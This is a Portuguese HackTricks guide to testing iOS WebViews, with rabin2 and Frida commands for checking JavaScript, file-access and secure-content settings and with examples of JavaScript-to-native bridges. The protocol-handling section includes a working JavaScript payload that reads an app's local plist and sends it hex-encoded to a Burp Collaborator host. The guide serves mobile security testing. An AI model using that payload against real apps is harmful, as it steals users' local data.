mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-24 20:13:37 +00:00
291 lines
18 KiB
Markdown
291 lines
18 KiB
Markdown
# WebViews do iOS
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Outras maneiras de apoiar o HackTricks:
|
|
|
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
|
|
|
</details>
|
|
|
|
O código desta página foi extraído [aqui](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md). Verifique a página para mais detalhes.
|
|
|
|
|
|
## Tipos de WebViews
|
|
|
|
WebViews são utilizados em aplicativos para exibir conteúdo da web de forma interativa. Vários tipos de WebViews oferecem diferentes funcionalidades e recursos de segurança para aplicativos iOS. Aqui está uma breve visão geral:
|
|
|
|
- **UIWebView**, que não é mais recomendado a partir do iOS 12 devido à falta de suporte para desabilitar **JavaScript**, tornando-o suscetível a injeção de script e ataques de **Cross-Site Scripting (XSS)**.
|
|
|
|
- **WKWebView** é a opção preferida para incorporar conteúdo da web em aplicativos, oferecendo controle aprimorado sobre o conteúdo e recursos de segurança. O **JavaScript** é habilitado por padrão, mas pode ser desativado se necessário. Ele também suporta recursos para evitar que o JavaScript abra automaticamente janelas e garante que todo o conteúdo seja carregado com segurança. Além disso, a arquitetura do **WKWebView** minimiza o risco de corrupção de memória afetando o processo principal do aplicativo.
|
|
|
|
- **SFSafariViewController** oferece uma experiência de navegação na web padronizada dentro dos aplicativos, reconhecível por seu layout específico, incluindo um campo de endereço somente leitura, botões de compartilhamento e navegação, e um link direto para abrir o conteúdo no Safari. Ao contrário do **WKWebView**, o **JavaScript** não pode ser desativado no **SFSafariViewController**, que também compartilha cookies e dados com o Safari, mantendo a privacidade do usuário a partir do aplicativo. Ele deve ser exibido de forma proeminente de acordo com as diretrizes da App Store.
|
|
```javascript
|
|
// Example of disabling JavaScript in WKWebView:
|
|
WKPreferences *preferences = [[WKPreferences alloc] init];
|
|
preferences.javaScriptEnabled = NO;
|
|
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
|
|
config.preferences = preferences;
|
|
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];
|
|
```
|
|
## Resumo da Exploração da Configuração de WebViews
|
|
|
|
### **Visão Geral da Análise Estática**
|
|
|
|
No processo de examinar as configurações de **WebViews**, dois tipos principais são focados: **UIWebView** e **WKWebView**. Para identificar essas WebViews dentro de um binário, comandos são utilizados, buscando por referências de classes específicas e métodos de inicialização.
|
|
|
|
- **Identificação de UIWebView**
|
|
```bash
|
|
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
|
|
```
|
|
Este comando ajuda a localizar instâncias de **UIWebView** ao procurar por strings de texto relacionadas a ele no binário.
|
|
|
|
- **Identificação do WKWebView**
|
|
```bash
|
|
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
|
|
```
|
|
Da mesma forma, para o **WKWebView**, este comando pesquisa o binário por strings de texto indicativas de seu uso.
|
|
|
|
Além disso, para encontrar como um **WKWebView** é inicializado, o seguinte comando é executado, visando a assinatura do método relacionado à sua inicialização:
|
|
```bash
|
|
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
|
|
```
|
|
#### **Verificação de Configuração do JavaScript**
|
|
|
|
Para o **WKWebView**, é destacado que desativar o JavaScript é uma prática recomendada, a menos que seja necessário. O binário compilado é pesquisado para confirmar que a propriedade `javaScriptEnabled` está definida como `false`, garantindo que o JavaScript esteja desativado:
|
|
```bash
|
|
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
|
|
```
|
|
#### **Apenas Verificação de Conteúdo Seguro**
|
|
|
|
**WKWebView** oferece a capacidade de identificar problemas de conteúdo misto, em contraste com **UIWebView**. Isso é verificado usando a propriedade `hasOnlySecureContent` para garantir que todos os recursos da página sejam carregados por meio de conexões seguras. A busca no binário compilado é realizada da seguinte forma:
|
|
```bash
|
|
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
|
|
```
|
|
### **Informações de Análise Dinâmica**
|
|
|
|
A análise dinâmica envolve a inspeção do heap em busca de instâncias de WebView e suas propriedades. Um script chamado `webviews_inspector.js` é usado para esse fim, visando instâncias de `UIWebView`, `WKWebView` e `SFSafariViewController`. Ele registra informações sobre as instâncias encontradas, incluindo URLs e configurações relacionadas a JavaScript e conteúdo seguro.
|
|
|
|
A inspeção do heap pode ser realizada usando `ObjC.choose()` para identificar instâncias de WebView e verificar as propriedades `javaScriptEnabled` e `hasonlysecurecontent`.
|
|
|
|
{% code title="webviews_inspector.js" %}
|
|
```javascript
|
|
ObjC.choose(ObjC.classes['UIWebView'], {
|
|
onMatch: function (ui) {
|
|
console.log('onMatch: ', ui);
|
|
console.log('URL: ', ui.request().toString());
|
|
},
|
|
onComplete: function () {
|
|
console.log('done for UIWebView!');
|
|
}
|
|
});
|
|
|
|
ObjC.choose(ObjC.classes['WKWebView'], {
|
|
onMatch: function (wk) {
|
|
console.log('onMatch: ', wk);
|
|
console.log('URL: ', wk.URL().toString());
|
|
},
|
|
onComplete: function () {
|
|
console.log('done for WKWebView!');
|
|
}
|
|
});
|
|
|
|
ObjC.choose(ObjC.classes['SFSafariViewController'], {
|
|
onMatch: function (sf) {
|
|
console.log('onMatch: ', sf);
|
|
},
|
|
onComplete: function () {
|
|
console.log('done for SFSafariViewController!');
|
|
}
|
|
});
|
|
|
|
ObjC.choose(ObjC.classes['WKWebView'], {
|
|
onMatch: function (wk) {
|
|
console.log('onMatch: ', wk);
|
|
console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
|
|
}
|
|
});
|
|
|
|
ObjC.choose(ObjC.classes['WKWebView'], {
|
|
onMatch: function (wk) {
|
|
console.log('onMatch: ', wk);
|
|
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
|
|
}
|
|
});
|
|
```
|
|
{% endcode %}
|
|
|
|
O script é executado com:
|
|
```bash
|
|
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
|
|
```
|
|
**Resultados Chave**:
|
|
- Instâncias de WebViews são localizadas e inspecionadas com sucesso.
|
|
- A ativação do JavaScript e as configurações de conteúdo seguro são verificadas.
|
|
|
|
Este resumo encapsula os passos críticos e comandos envolvidos na análise das configurações do WebView por meio de abordagens estáticas e dinâmicas, focando em recursos de segurança como a ativação do JavaScript e detecção de conteúdo misto.
|
|
|
|
## Manipulação de Protocolo do WebView
|
|
|
|
Manipular conteúdo em WebViews é um aspecto crítico, especialmente ao lidar com vários protocolos como `http(s)://`, `file://` e `tel://`. Esses protocolos permitem o carregamento de conteúdo remoto e local dentro dos aplicativos. É enfatizado que ao carregar conteúdo local, precauções devem ser tomadas para evitar que os usuários influenciem o nome ou caminho do arquivo e editem o conteúdo em si.
|
|
|
|
**WebViews** oferecem diferentes métodos para carregar conteúdo. Para **UIWebView**, agora obsoleto, são utilizados métodos como `loadHTMLString:baseURL:` e `loadData:MIMEType:textEncodingName:baseURL:`. **WKWebView**, por outro lado, emprega `loadHTMLString:baseURL:`, `loadData:MIMEType:textEncodingName:baseURL:` e `loadRequest:` para conteúdo web. Métodos como `pathForResource:ofType:`, `URLForResource:withExtension:` e `init(contentsOf:encoding:)` são tipicamente utilizados para carregar arquivos locais. O método `loadFileURL:allowingReadAccessToURL:` é particularmente notável por sua capacidade de carregar um URL ou diretório específico no WebView, potencialmente expondo dados sensíveis se um diretório for especificado.
|
|
|
|
Para encontrar esses métodos no código-fonte ou binário compilado, comandos como os seguintes podem ser usados:
|
|
```bash
|
|
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
|
|
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
|
|
```
|
|
Em relação ao **acesso a arquivos**, o UIWebView permite universalmente, enquanto o WKWebView introduz configurações `allowFileAccessFromFileURLs` e `allowUniversalAccessFromFileURLs` para gerenciar o acesso a URLs de arquivos, sendo ambas falsas por padrão.
|
|
|
|
Um exemplo de script Frida é fornecido para inspecionar as configurações de segurança do **WKWebView**:
|
|
```bash
|
|
ObjC.choose(ObjC.classes['WKWebView'], {
|
|
onMatch: function (wk) {
|
|
console.log('onMatch: ', wk);
|
|
console.log('URL: ', wk.URL().toString());
|
|
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
|
|
console.log('allowFileAccessFromFileURLs: ',
|
|
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
|
|
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
|
|
console.log('allowUniversalAccessFromFileURLs: ',
|
|
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
|
|
},
|
|
onComplete: function () {
|
|
console.log('done for WKWebView!');
|
|
}
|
|
});
|
|
```
|
|
Por último, um exemplo de um payload JavaScript destinado a exfiltrar arquivos locais demonstra o risco de segurança potencial associado a WebViews mal configurados. Este payload codifica o conteúdo do arquivo em formato hexadecimal antes de transmiti-los para um servidor, destacando a importância de medidas de segurança rigorosas nas implementações de WebViews.
|
|
```javascript
|
|
String.prototype.hexEncode = function(){
|
|
var hex, i;
|
|
var result = "";
|
|
for (i=0; i<this.length; i++) {
|
|
hex = this.charCodeAt(i).toString(16);
|
|
result += ("000"+hex).slice(-4);
|
|
}
|
|
return result
|
|
}
|
|
|
|
var xhr = new XMLHttpRequest();
|
|
xhr.onreadystatechange = function() {
|
|
if (xhr.readyState == XMLHttpRequest.DONE) {
|
|
var xhr2 = new XMLHttpRequest();
|
|
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
|
|
xhr2.send(null);
|
|
}
|
|
}
|
|
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
|
|
xhr.send(null);
|
|
```
|
|
## Métodos Nativos Expostos Através de WebViews
|
|
|
|
## Compreendendo as Interfaces Nativas da WebView no iOS
|
|
|
|
A partir do iOS 7, a Apple forneceu APIs para **comunicação entre JavaScript em uma WebView e objetos nativos** Swift ou Objective-C. Essa integração é principalmente facilitada por meio de dois métodos:
|
|
|
|
- **JSContext**: Uma função JavaScript é criada automaticamente quando um bloco Swift ou Objective-C é vinculado a um identificador dentro de um `JSContext`. Isso permite uma integração e comunicação perfeitas entre JavaScript e código nativo.
|
|
- **JSExport Protocol**: Ao herdar o protocolo `JSExport`, propriedades nativas, métodos de instância e métodos de classe podem ser expostos ao JavaScript. Isso significa que quaisquer alterações feitas no ambiente JavaScript são refletidas no ambiente nativo, e vice-versa. No entanto, é essencial garantir que dados sensíveis não sejam expostos inadvertidamente por meio deste método.
|
|
|
|
### Acessando `JSContext` em Objective-C
|
|
|
|
Em Objective-C, o `JSContext` para um `UIWebView` pode ser recuperado com a seguinte linha de código:
|
|
```objc
|
|
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
|
|
```
|
|
### Comunicação com `WKWebView`
|
|
|
|
Para `WKWebView`, o acesso direto ao `JSContext` não está disponível. Em vez disso, a passagem de mensagens é utilizada através da função `postMessage`, permitindo a comunicação entre JavaScript e nativo. Os manipuladores para essas mensagens são configurados da seguinte forma, permitindo que o JavaScript interaja com o aplicativo nativo de forma segura:
|
|
```swift
|
|
func enableJavaScriptBridge(_ enabled: Bool) {
|
|
options_dict["javaScriptBridge"]?.value = enabled
|
|
let userContentController = wkWebViewConfiguration.userContentController
|
|
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")
|
|
|
|
if enabled {
|
|
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
|
|
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
|
|
}
|
|
}
|
|
```
|
|
### Interação e Teste
|
|
|
|
O JavaScript pode interagir com a camada nativa ao definir um manipulador de mensagens de script. Isso permite operações como invocar funções nativas a partir de uma página da web:
|
|
```javascript
|
|
function invokeNativeOperation() {
|
|
value1 = document.getElementById("value1").value
|
|
value2 = document.getElementById("value2").value
|
|
window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", value1, value2]);
|
|
}
|
|
|
|
// Alternative method for calling exposed JavaScript functions
|
|
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
|
|
```
|
|
Para capturar e manipular o resultado de uma chamada de função nativa, pode-se substituir a função de retorno dentro do HTML:
|
|
```html
|
|
<html>
|
|
<script>
|
|
document.location = "javascriptbridge://getSecret"
|
|
function javascriptBridgeCallBack(name, result) {
|
|
alert(result);
|
|
}
|
|
</script>
|
|
</html>
|
|
```
|
|
O lado nativo lida com a chamada JavaScript conforme mostrado na classe `JavaScriptBridgeMessageHandler`, onde o resultado de operações como a multiplicação de números é processado e enviado de volta para o JavaScript para exibição ou manipulação adicional:
|
|
```swift
|
|
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
|
|
// Handling "multiplyNumbers" operation
|
|
case "multiplyNumbers":
|
|
let arg1 = Double(messageArray[1])!
|
|
let arg2 = Double(messageArray[2])!
|
|
result = String(arg1 * arg2)
|
|
// Callback to JavaScript
|
|
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
|
|
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
|
|
}
|
|
```
|
|
## Depuração de WebViews no iOS
|
|
|
|
(Tutorial baseado no [https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews))
|
|
|
|
Para depurar efetivamente o conteúdo da web dentro de WebViews no iOS, é necessário um setup específico envolvendo as ferramentas de desenvolvedor do Safari, devido ao fato de que as mensagens enviadas para `console.log()` não são exibidas nos logs do Xcode. Aqui está um guia simplificado, enfatizando etapas e requisitos-chave:
|
|
|
|
- **Preparação no Dispositivo iOS**: O Safari Web Inspector precisa ser ativado no seu dispositivo iOS. Isso é feito indo para **Configurações > Safari > Avançado**, e habilitando o _Web Inspector_.
|
|
|
|
- **Preparação no Dispositivo macOS**: Em sua máquina de desenvolvimento macOS, você deve habilitar as ferramentas de desenvolvedor dentro do Safari. Inicie o Safari, acesse **Safari > Preferências > Avançado**, e selecione a opção _Mostrar menu Desenvolver_.
|
|
|
|
- **Conexão e Depuração**: Após conectar seu dispositivo iOS ao seu computador macOS e iniciar seu aplicativo, use o Safari em seu dispositivo macOS para selecionar a WebView que deseja depurar. Navegue até _Desenvolver_ na barra de menu do Safari, passe o mouse sobre o nome do seu dispositivo iOS para ver uma lista de instâncias de WebView, e selecione a instância que deseja inspecionar. Uma nova janela do Safari Web Inspector será aberta para esse propósito.
|
|
|
|
No entanto, esteja ciente das limitações:
|
|
|
|
- Depurar com este método requer um dispositivo macOS, pois depende do Safari.
|
|
- Apenas WebViews em aplicativos carregados em seu dispositivo através do Xcode são elegíveis para depuração. WebViews em aplicativos instalados via App Store ou Apple Configurator não podem ser depurados dessa maneira.
|
|
|
|
|
|
## Referências
|
|
|
|
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6)
|
|
* [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
|
|
* [https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md)
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Outras maneiras de apoiar o HackTricks:
|
|
|
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|